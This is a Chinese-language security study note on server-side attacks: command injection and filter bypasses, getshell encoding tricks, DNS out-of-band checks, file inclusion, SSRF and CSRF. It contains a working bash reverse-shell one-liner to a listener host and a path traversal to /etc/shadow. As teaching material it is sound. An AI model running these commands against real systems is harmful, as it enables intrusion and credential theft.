跳到主要内容

第 7 天

· 阅读需 3 分钟
Hsieh
Hsieh
提示

服务端漏洞的终结武器,深度学习远程命令执行(RCE)与远程代码执行(RCE)攻击技术。本篇涵盖命令注入的多种绕过手法、反弹 Shell 与 DNS 外带验证技巧、文件包含漏洞的利用方式,以及 SSRF 与 CSRF 攻击的原理与实战,掌握服务端安全的核心漏洞攻击链。

RCE

remote command/code excute

远程命令执行

用户可以执行指定远程命令

  • 通过逻辑运算拼接非指定的操作系统命令

  • 使用黑名单过滤 &&:, 仍可使用 | 绕过

  • | 被加入黑名单时, | 不跟空格亦可绕过

getshell

  • base64 编码绕过
  • Hex 编码绕过
  • 分块写入

反弹 shell

  1. 在肉鸡上使用 nc 命令监听
# 连接 
nc [-options] hostname port[s] [ports]

# 监听
nc -l -p port [-options] [hostname] [port]

  1. 目标机器上执行反弹 shell, 标准输出和标准输入均重定向到肉鸡
bash -c 'bash -i >& /dev/tcp/192.168.30.128/9999 0>&1

注意: /dev/tcp 为 bash 特有的伪设备, 其他 shell 不支持会如下报错

  1. 获取到目标机器的 shell

DNS 外带验证

当无回显时, 通过逻辑操作拼接 ping 命令, 判断是否有 RCE 漏洞

  1. 通过 dnslog 获取随机子域名, 验证是否接收到请求

  1. 刷新如果有请求记录, 说明一定存在 RCE 漏洞, 未收到不能完全说明没有 RCE 漏洞

远程代码执行

用户输入被作为代码的一部分进行执行

文件包含

服务端对用户侧生成的路径拼接参数没有校验, 拼接 ../../etc/shadow

  1. URL 的 file 参数值没有做限制

  1. 构造参数, 读取解析通过上传到服务器的图片木马

服务端请求伪造

Server-Side Request Forgery, 通过服务器作为代理, 请求其他资源

  1. 短域名绕过, 原理是访问短域名重定向到内网地址, 绕过检测
  2. 编码绕过

跨站请求伪造

Cross-Side Request Forgery, 利用浏览器自动带上 cookie 机制, 诱导用户点击恶意链接执行黑客想要的操作